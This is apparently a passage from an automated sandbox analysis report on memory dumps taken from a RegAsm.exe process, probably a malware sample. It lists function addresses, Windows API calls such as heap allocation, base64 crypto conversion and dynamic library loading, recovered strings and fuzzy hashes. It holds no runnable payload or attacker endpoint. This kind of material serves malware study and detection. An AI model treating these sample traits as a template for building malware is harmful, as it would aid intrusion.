Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 16ca8da9ce073db5159da9c0fe7f5eb75fbfafdcb44c73f31dfe479d69c12e23
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: A7B1C572F0520ACBCB14CF58CC81AADB7B6AF85314F140269C589EB795D734A989CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction ID: 4740d51cf3561d873dfc7dc16be6a88612a78313d28c1229ed6637b99d8ae64a
Opcode Fuzzy Hash: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction Fuzzy Hash: 44F10171F512568FDB44CFA8C8413AB7BF0AB8A308F15862DC906DB754E778AA51CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAC0 Relevance: 6.1, APIs: 4, Instructions: 53memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 0040FAE4
GetProcessHeap.KERNEL32(00000000,?,?,0040483B,?,?,?,?,?,?), ref: 0040FAF1
HeapAlloc.KERNEL32(00000000,?,0040483B,?,?,?,?,?,?), ref: 0040FAF8

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 77c4e192cfc07588887914397eec6378b67b364821b17ba415bff07f9bdaf23d
Instruction ID: a9aa93222795c492a8150bfbe8e3138affcec204e427135ceeb0f8b32c815cb0
Opcode Fuzzy Hash: 77c4e192cfc07588887914397eec6378b67b364821b17ba415bff07f9bdaf23d
Instruction Fuzzy Hash: 4B011771200209BFDF218F64DC488ABBBBEFF49360B104579F845A3250D735A851EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00406629 Relevance: 6.0, APIs: 4, Instructions: 48encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 00406649
LocalAlloc.KERNEL32(00000040,00405D10,?,?,00405D10,00000000,?,?), ref: 00406657
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 0040666D
LocalFree.KERNEL32(00000000,?,?,00405D10,00000000,?,?), ref: 0040667C

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: c6a24e54a40c657710bafd801b3af3228f2ec70fa5c85ff84f724536ac891562
Instruction ID: 9071db479f6d9f2bfcc0f08ad0d6b3ee979446f8681bec4c00e8828eb233e884
Opcode Fuzzy Hash: c6a24e54a40c657710bafd801b3af3228f2ec70fa5c85ff84f724536ac891562
Instruction Fuzzy Hash: AE01E870101225BFCB215F66DC88E8B7FB9EF4ABA0B114552F909A6250D7719910DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0040F870 Relevance: 3.1, APIs: 2, Instructions: 61timeCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F875

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologSystemTimelstrcpy
String ID:
API String ID: 818586813-0
Opcode ID: 838ae9d779b217764a1530b38339c95f733a65e948c2e82cd5858f7f4a7a4081
Instruction ID: a67e344742dc6a6eaf96b40438009d6d254854c7c5e5f15d8ece0bbd4a963f0d
Opcode Fuzzy Hash: 838ae9d779b217764a1530b38339c95f733a65e948c2e82cd5858f7f4a7a4081
Instruction Fuzzy Hash: 0B11A271900114EBCB05EFA6C88169EFBB5EF95314F00887FE401B7291D7384A098B54

Uniqueness

Uniqueness Score: -1.00%

Function 0041C858 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0041C816), ref: 0041C85D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d8bd0b3be9c3bc768406ffa8be817628cd20bbefcc6fc4daa659e9124da3053d
Instruction ID: 95cacfabf60a170c768bde59bf6676e2fa3be74a7d14c0a26e868079edcd75be
Opcode Fuzzy Hash: d8bd0b3be9c3bc768406ffa8be817628cd20bbefcc6fc4daa659e9124da3053d
Instruction Fuzzy Hash: 869002703921008ADA2027716C89A5565E0AB4865779188716041C5055DB744045952D

Uniqueness

Uniqueness Score: -1.00%

Function 6CE68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction ID: 00a5ee0f709b7b5bff17f196005d78820e35a85bd3059b9af83593449932d9e9
Opcode Fuzzy Hash: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction Fuzzy Hash: 0911B232AA02198BD728CF26D88975AB7B5BF4331CF24426AD8158FF51C775E886C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction ID: 569a6a65239deb010d40e381ddaaeabeb4701ba5e6e7539228746690de4a2f13
Opcode Fuzzy Hash: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction Fuzzy Hash: BA11CE75704345DFDB00DF28C88066A7BA2FF85368F18C06DD8298B706DBB1E806CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 110d029f02957afbf8338699262e0e8ac99a925f132d3519a2950dbdb50b58f7
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 35E06D3A202054A7DB148E09C450BAA7B69DF91719FA4C079CC599BA02DA73F8078B81

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE40 Relevance: 94.9, APIs: 63, Instructions: 386memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040AE45

Part of subcall function 0040AD4F: _EH_prolog.MSVCRT ref: 0040AD54
Part of subcall function 0040AD4F: lstrlen.KERNEL32(?,00000001,76AA5460,00000000), ref: 0040AD72
Part of subcall function 0040AD4F: strchr.MSVCRT ref: 0040AD88

GetProcessHeap.KERNEL32(00000008,?,696B7FA0,76AA5460,00000000), ref: 0040AE90
HeapAlloc.KERNEL32(00000000), ref: 0040AE97
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AEAC
HeapFree.KERNEL32(00000000), ref: 0040AEB3
strcpy_s.MSVCRT ref: 0040AED5
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AEE6
HeapFree.KERNEL32(00000000), ref: 0040AEED
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AF17
HeapFree.KERNEL32(00000000), ref: 0040AF1E
GetProcessHeap.KERNEL32(00000008,?), ref: 0040AF29
HeapAlloc.KERNEL32(00000000), ref: 0040AF30
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AF45
HeapFree.KERNEL32(00000000), ref: 0040AF4C
strcpy_s.MSVCRT ref: 0040AF6B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AF7C
HeapFree.KERNEL32(00000000), ref: 0040AF83
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AFA2
HeapFree.KERNEL32(00000000), ref: 0040AFA9
GetProcessHeap.KERNEL32(00000008,?), ref: 0040AFB4
HeapAlloc.KERNEL32(00000000), ref: 0040AFBB
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AFD0
HeapFree.KERNEL32(00000000), ref: 0040AFD7
strcpy_s.MSVCRT ref: 0040AFEE
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AFFF
HeapFree.KERNEL32(00000000), ref: 0040B006
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040B02B
HeapFree.KERNEL32(00000000), ref: 0040B032
GetProcessHeap.KERNEL32(00000008,?), ref: 0040B03D
HeapAlloc.KERNEL32(00000000), ref: 0040B044
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B05C
HeapFree.KERNEL32(00000000), ref: 0040B063
strcpy_s.MSVCRT ref: 0040B082
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B093
HeapFree.KERNEL32(00000000), ref: 0040B09A
lstrlen.KERNEL32(00000000), ref: 0040B0A1
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040B0B3
HeapAlloc.KERNEL32(00000000), ref: 0040B0BA
lstrlen.KERNEL32(?), ref: 0040B0D1
strcpy_s.MSVCRT ref: 0040B0F8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B110
HeapFree.KERNEL32(00000000), ref: 0040B117
lstrlen.KERNEL32(?), ref: 0040B120
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040B12F
HeapAlloc.KERNEL32(00000000), ref: 0040B136
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B146
HeapFree.KERNEL32(00000000), ref: 0040B14D
strcpy_s.MSVCRT ref: 0040B15F
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B16B
HeapFree.KERNEL32(00000000), ref: 0040B172
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040B198
HeapFree.KERNEL32(00000000), ref: 0040B19F
GetProcessHeap.KERNEL32(00000008,?), ref: 0040B1AA
HeapAlloc.KERNEL32(00000000), ref: 0040B1B1
strcpy_s.MSVCRT ref: 0040B1C8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B1D9
HeapFree.KERNEL32(00000000), ref: 0040B1E0
lstrlen.KERNEL32(00000000,00000000,?,?,?), ref: 0040B246
lstrlen.KERNEL32(00000000,00000000), ref: 0040B256
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040B28D
HeapFree.KERNEL32(00000000), ref: 0040B294
GetProcessHeap.KERNEL32(00000000,?), ref: 0040B2DF
HeapFree.KERNEL32(00000000), ref: 0040B2E6

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$H_prolog$strchr
String ID:
API String ID: 2055753264-0
Opcode ID: 78ee8df4027041a73b2da4512a88e392ebcb4fb43fcfda1327fabcab8fee93b0
Instruction ID: dfdc57009749edb3ce4f38b715b876bf1cebfba938349be4bc8fd6088a1e9b02
Opcode Fuzzy Hash: 78ee8df4027041a73b2da4512a88e392ebcb4fb43fcfda1327fabcab8fee93b0
Instruction Fuzzy Hash: AEE10E72C00219EBCF11AFE1ED499AFBB79FF08305F04582AF911B2151DB394615DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CD8E1A5), ref: 6CDB5606
LoadLibraryW.KERNEL32(gdi32,?,6CD8E1A5), ref: 6CDB560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CDB5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CDB563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CDB566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CDB567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CDB5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CDB56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CDB56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CDB56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CDB56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CDB5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CDB572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CDB5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CDB5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CDB577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CDB5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CDB57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CDB57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CDB57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CDB57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CDB57FF

Strings

CreateSolidBrush, xrefs: 6CDB57E4
AreDpiAwarenessContextsEqual, xrefs: 6CDB5637
LoadCursorW, xrefs: 6CDB5774
SetWindowLongPtrW, xrefs: 6CDB57B7
RegisterClassW, xrefs: 6CDB56AC
user32, xrefs: 6CDB5601
SetWindowPos, xrefs: 6CDB56F7
gdi32, xrefs: 6CDB560A
EnableNonClientDpiScaling, xrefs: 6CDB5666
GetSystemMetricsForDpi, xrefs: 6CDB5677
MonitorFromWindow, xrefs: 6CDB578D
ReleaseDC, xrefs: 6CDB5742
GetThreadDpiAwarenessContext, xrefs: 6CDB562D
GetDpiForWindow, xrefs: 6CDB5690
GetMonitorInfoW, xrefs: 6CDB57A2
StretchDIBits, xrefs: 6CDB57CC
DeleteObject, xrefs: 6CDB57F9
CreateWindowExW, xrefs: 6CDB56C5
FillRect, xrefs: 6CDB5729
GetWindowDC, xrefs: 6CDB5710
ShowWindow, xrefs: 6CDB56DE
LoadIconW, xrefs: 6CDB575B

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8e92dacffe6c63f5c57eb6175e3f731326c75b89f6ce5306d8022881cb5cccfa
Instruction ID: cc238b2591ac685214970dd91cb3d4a59dc26ee569e5f4cd386eba0e5bf09ddf
Opcode Fuzzy Hash: 8e92dacffe6c63f5c57eb6175e3f731326c75b89f6ce5306d8022881cb5cccfa
Instruction Fuzzy Hash: D55124B5F11703AFFB015F75CD44A267ABCAB0A7497114929EB12E3A61EB70F8048F60

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CD6582D), ref: 6CD9CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CD6582D), ref: 6CD9CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CDCFE98,?,?,?,?,?,6CD6582D), ref: 6CD9CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CD6582D), ref: 6CD9CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CD6582D), ref: 6CD9CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CD6582D), ref: 6CD9CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD6582D), ref: 6CD9CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CD9CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CD9CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CD9CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CD9CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CD9CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CD9CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CD9CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CD9CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CD9CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CD9CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CD9CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CD9CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CD9CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CD9CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CD9CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CD9CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CD9CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CD9CE8A

Strings

processcpu, xrefs: 6CD9CE6E
nativeallocations, xrefs: 6CD9CDA8
audiocallbacktracing, xrefs: 6CD9CDD4
markersallthreads, xrefs: 6CD9CE42
mainthreadio, xrefs: 6CD9CC7C
java, xrefs: 6CD9CC37
jsallocations, xrefs: 6CD9CD0E
unregisteredthreads, xrefs: 6CD9CE58
ipcmessages, xrefs: 6CD9CDBE
fileio, xrefs: 6CD9CC92
default, xrefs: 6CD9CC21
samplingallthreads, xrefs: 6CD9CE2C
Unrecognized feature "%s"., xrefs: 6CD9CEA0
screenshots, xrefs: 6CD9CCD4
seqstyle, xrefs: 6CD9CCE6
preferencereads, xrefs: 6CD9CD92
cpuallthreads, xrefs: 6CD9CE16
notimerresolutionchange, xrefs: 6CD9CE00
power, xrefs: 6CD9CE84
nostacksampling, xrefs: 6CD9CD7C
stackwalk, xrefs: 6CD9CCF8
leaf, xrefs: 6CD9CC66
fileioall, xrefs: 6CD9CCA8
noiostacks, xrefs: 6CD9CCBE

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 04ca019a0d3f8a0151b5a74c7382e8f3c0b84e5e034d2d112d4c358d92e405f2
Instruction ID: 76e96cb5cdfc1d8d81c3f3a4059d47cf90833bbe6b8755ff236dcb63c3c497d8
Opcode Fuzzy Hash: 04ca019a0d3f8a0151b5a74c7382e8f3c0b84e5e034d2d112d4c358d92e405f2
